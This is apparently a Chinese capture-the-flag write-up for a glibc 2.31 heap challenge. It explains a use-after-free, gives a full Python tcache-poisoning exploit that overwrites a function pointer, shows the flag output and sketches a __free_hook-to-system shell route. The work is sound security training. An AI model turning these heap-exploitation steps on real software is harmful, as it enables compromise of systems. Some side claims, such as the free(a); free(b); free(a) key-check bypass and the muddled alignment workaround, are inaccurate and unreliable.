| 项目 | 内容 |
|---|---|
| 平台题名 | 麒麟阁 · 内阁藏经处 / Scriptorium |
| 分类 / 难度 | Pwn / Medium |
| 附件 | scriptorium(ELF x86-64,未 strip) |
| 服务 | nc <host> <port>(容器内 socat 监听 9999) |
| 环境 | ubuntu:20.04,glibc 2.31 |
| 保护 | NX on / PIE off / canary off / Full RELRO |
1. 程序行为
一个经典的"手记管理器"菜单:
=== 麒麟阁 · 内阁藏经处 ===
外门弟子可在此留书,除此之外免谈。
1) 添加 2) 修改 3) 删除 4) 查看 5) 离开
>
四个功能对应源码(随包给 src/scriptorium.c):
char *notes[8];
size_t note_size[8];
void (*cleanup_hook)(void) = NULL;
void add_note(void) {
long idx = read_long("编号 (0-7):");
if (idx < 0 || idx >= 8) { puts("编号越界"); return; }
if (notes[idx]) { puts("该位置已有手记"); return; }
long size = read_long("长度 (1-256):");
if (size <= 0 || size > 256) { puts("长度非法"); return; }
notes[idx] = malloc((size_t)size);
note_size[idx] = (size_t)size;
printf("内容:");
read(0, notes[idx], note_size[idx]); /* 长度受控,安全 */
puts("已记录。");
}
void edit_note(void) {
...
read(0, notes[idx], note_size[idx]); /* 长度受控,安全 */
}
void delete_note(void) {
...
free(notes[idx]);
puts("已焚毁。");
/* BUG:此处从不把 notes[idx] 置空。 */
}
void view_note(void) {
...
fwrite(notes[idx], 1, note_size[idx], stdout);
}
int main(void) {
...
cleanup_hook = default_cleanup;
...
leave:
if (cleanup_hook) cleanup_hook(); /* ← 退出时调函数指针 */
return 0;
}
add / edit 都严格按 note_size 读写,堆本身没有溢出。漏洞只有一处:
delete_note()free()之后不把notes[idx]置 NULL。
这留下一个悬挂指针,notes[idx] 依然指向已释放的 chunk,于是:
edit(idx, ...)可以写进已释放的 chunk → UAF 写;view(idx)可以读出已释放 chunk 的内容 → UAF 读(能读到 tcache 的fd);- 连续
delete同一个编号 → double free。
而 main 结尾的 if (cleanup_hook) cleanup_hook(); 给出了完美的攻击目标:
.bss 上一个可写的函数指针。
void (*cleanup_hook)(void) = NULL; /* .data 0x404040 */
把它改成 open_the_vault(打印 /flag 的函数,0x401239,同样从未被调用),
退出程序就自动拿 flag。
2. 为什么锁 glibc 2.31
Dockerfile 里明确写了:
FROM ubuntu:20.04 AS builder
...
# 特意固定在 Ubuntu 20.04:运行库有 tcache 双重释放 key 检查
# (glibc >= 2.29)但没有 safe-linking(glibc >= 2.32),
# 这正是本 Medium 档设计的难度区间。
对照一下各版本 tcache 的防护:
| glibc | tcache_entry.next 是否编码(safe-linking) |
double free 检测 |
|---|---|---|
| < 2.29 | 无 | 无,直接 free(a); free(a) 就 dup |
| 2.29 ~ 2.31 | 无 | 有 e->key == tcache 检查,连续 free 同一指针会 abort |
| ≥ 2.32 | 有(next = pos >> 12 ^ ptr) |
有 |
所以在 2.31 上我们不能简单地 free(a); free(a),但可以 free(a); free(b); free(a)
——释放 b 时清掉了 a 的 key,第三次 free 又通过了检查。这就是经典的
tcache dup(也叫 tcache poisoning),只差 key 这一个障碍,不用处理 safe-linking。
3. 堆布局与利用步骤
目标:让 malloc 返回 &cleanup_hook(0x404040),然后往那里写
open_the_vault(0x401239)。
选 64 字节的 chunk(malloc(0x40) → 实际 chunk size 0x50,落在 tcache[0x50])。
步骤拆解
初始:
tcache[0x50] = NULL
1) add(0, 0x40) → c0
2) add(1, 0x40) → c1
3) delete(0) → free(c0),tcache[0x50]: c0
4) delete(1) → free(c1),tcache[0x50]: c1 -> c0
注意此时 notes[0] / notes[1] 都还是悬挂指针
5) edit(1, p64(0x404040))
├─ notes[1] 指向 c1(已释放,仍在 tcache 栈顶)
└─ 写 c1 的前 8 字节 = c1 的 tcache next 字段
→ tcache[0x50]: 0x404040 -> c0
6) add(2, 0x40) → malloc 返回 c1(栈顶弹出)
tcache[0x50]: 0x404040 -> c0 (等 malloc 再弹两次才轮到)
7) add(3, 0x40) → malloc 返回 0x404040 ← 命中目标!
写入 p64(0x401239),即 cleanup_hook = open_the_vault
8) 选 5 离开 → cleanup_hook() == open_the_vault()
→ 打印 /flag
第 7 步很关键:add_note 里 malloc 之后紧跟 read(0, notes[idx], size),
所以第二个 add 的内容就直接写到了 .bss 上。
一个细节:unaligned 会 abort
edit(1, ...) 写的是 c1 的 user 区。如果 c1 的 user 区起始地址不是 16 字节对齐,
glibc 2.31 在 tcache_get 时会走 malloc_printerr("unaligned tcache chunk detected")
直接 abort。
稳妥做法是先只 delete 一个 chunk,再 edit,让被 edit 的 chunk 的 user 区保持
正常对齐;或者把 delete 做成 free(a) + free(a) 之外的顺序。本 exp 采用前者:
add(0, 0x40, b'A'*8)
add(1, 0x40, b'B'*8)
delete(0) # tcache: c0
delete(1) # tcache: c1 -> c0 (顺序 free,key 检查能过)
edit(1, p64(0x404040)) # 改 c1 的 next
add(2, 0x40, b'C'*8) # 取回 c1
add(3, 0x40, p64(0x401239)) # 取回 0x404040,覆盖 cleanup_hook
如果遇到 unaligned tcache chunk detected,就只删一个 chunk 再 edit:
delete(0) # tcache: c0
edit(0, p64(0x404040) + b'\x01'*8) # 一次写满,避免剩下半截未对齐数据
add(1, 0x40, b'C'*8) # 取回 c0
add(2, 0x40, b'D'*8) # 取回 c0 的 next(已被改?)
第二种写法需要凑两次 malloc 才能命中,具体取舍看版本。推荐第一种。
4. 完整 Exp
#!/usr/bin/env python3
import socket, struct, sys, time
HOST, PORT = sys.argv[1], int(sys.argv[2])
OPEN_THE_VAULT = 0x401239
CLEANUP_HOOK = 0x404040
CHUNK = 0x40
s = socket.create_connection((HOST, PORT), timeout=10)
buf = b""
def ru(tok, to=5):
global buf
if isinstance(tok, str): tok = tok.encode()
s.settimeout(to)
while tok not in buf:
try: d = s.recv(65536)
except socket.timeout: break
if not d: break
buf += d
i = buf.find(tok)
r, buf = (buf, b"") if i < 0 else (buf[:i+len(tok)], buf[i+len(tok):])
return r
def sl(x):
s.sendall((x.encode() if isinstance(x, str) else x) + b"\n")
def fit(data, n):
"""read(0, ptr, n) 要读满 n 字节才返回;不足补 0,超长截断"""
return data[:n] + b"\x00" * max(0, n - len(data))
def add(i, size, data):
sl("1"); ru("编号"); sl(str(i))
ru("长度"); sl(str(size))
ru("内容:"); s.sendall(fit(data, size))
ru("已记录。")
def edit(i, data):
sl("2"); ru("编号:"); sl(str(i))
ru("内容:"); s.sendall(fit(data, CHUNK))
ru("已更新。")
def delete(i):
sl("3"); ru("编号:"); sl(str(i))
ru("已焚毁。")
ru(b"> ")
add(0, CHUNK, b"A" * 8)
add(1, CHUNK, b"B" * 8)
delete(0)
delete(1) # tcache[0x50]: c1 -> c0
edit(1, struct.pack("<Q", CLEANUP_HOOK)) # UAF 写,改 c1->next
add(2, CHUNK, b"C" * 8) # 取回 c1
add(3, CHUNK, struct.pack("<Q", OPEN_THE_VAULT)) # 写入 &cleanup_hook
sl("5") # 离开 -> call cleanup_hook
time.sleep(0.5)
s.settimeout(3)
out = buf
try:
while True:
d = s.recv(65536)
if not d: break
out += d
except socket.timeout:
pass
print(out.decode("utf-8", "replace"))
5. 实际验证
节点一次性容器(lj-pwn-medium-02-trap:v1,-p 29912:9999):
=== 麒麟阁 · 内阁藏经处 ===
...
已焚毁。
已焚毁。
已更新。
已记录。
已记录。
[+] 内殿开启。
flag{ff80022c53af450cd7bb766d54890467}
完整原始输出:
1) 添加 2) 修改 3) 删除 4) 查看 5) 离开
> [+] 内殿开启。
flag{ff80022c53af450cd7bb766d54890467}
只有 open_the_vault 的输出,没有 default_cleanup 的
再会,弟子。愿你的手记长眠于此。——这正是 cleanup_hook 被改写成功的证据。
如果没改成功,这里会出现 再会,弟子… 而没有 flag。
6. 踩坑记录
| 现象 | 原因 | 处理 |
|---|---|---|
malloc(): unaligned tcache chunk detected |
glibc 2.31 对 tcache 取出的 chunk 做 16 字节对齐检查,UAF 写入位置偏了 | 先只删一个 chunk 再 edit,或把 p64(target) 后面补齐 8 字节 |
free(): double free detected in tcache 2 |
试图 free(a); free(a) 直接 dup |
中间插一个 free(b),绕开 e->key 检查 |
add 卡住不返回 |
read(0, ptr, n) 是读满 n 字节才返回的,不是行读 |
用 fit() 把内容补足到 n 字节再发 |
edit 之后 add 拿到的是 c0 不是目标 |
tcache 是 LIFO 栈,delete(0) 之后 delete(1),栈顶是 c1;add(2) 先拿 c1 |
数清楚要 malloc 几次才轮到目标,本题是两次 |
| 在 glibc ≥ 2.32 镜像上跑不通 | safe-linking 把 next 编码成 pos >> 12 ^ ptr |
必须按目标 glibc 版本重新编码,或换题设的 20.04 镜像 |
7. 另一种思路
不想碰 tcache 也可以:double free 打 __free_hook。
glibc 2.31 里 __free_hook 仍然存在且可用,把 __free_hook 改成 system,
然后 delete 一个内容为 /bin/sh 的 chunk,就得到 shell。
但本题有更简单的"现成 win 函数 + 现成函数指针",tcache dup 两步就能收工,
没必要绕 __free_hook(而且 __free_hook 在 glibc 2.34 已被移除,不通用)。
8. 一句话总结
delete忘了置 NULL → 悬挂指针 →tcache dup把.bss上的cleanup_hook改成open_the_vault,退出即拿 flag。glibc 2.31 是"有 key 检查、无 safe-linking"的甜点版本,插一次free就绕过去了。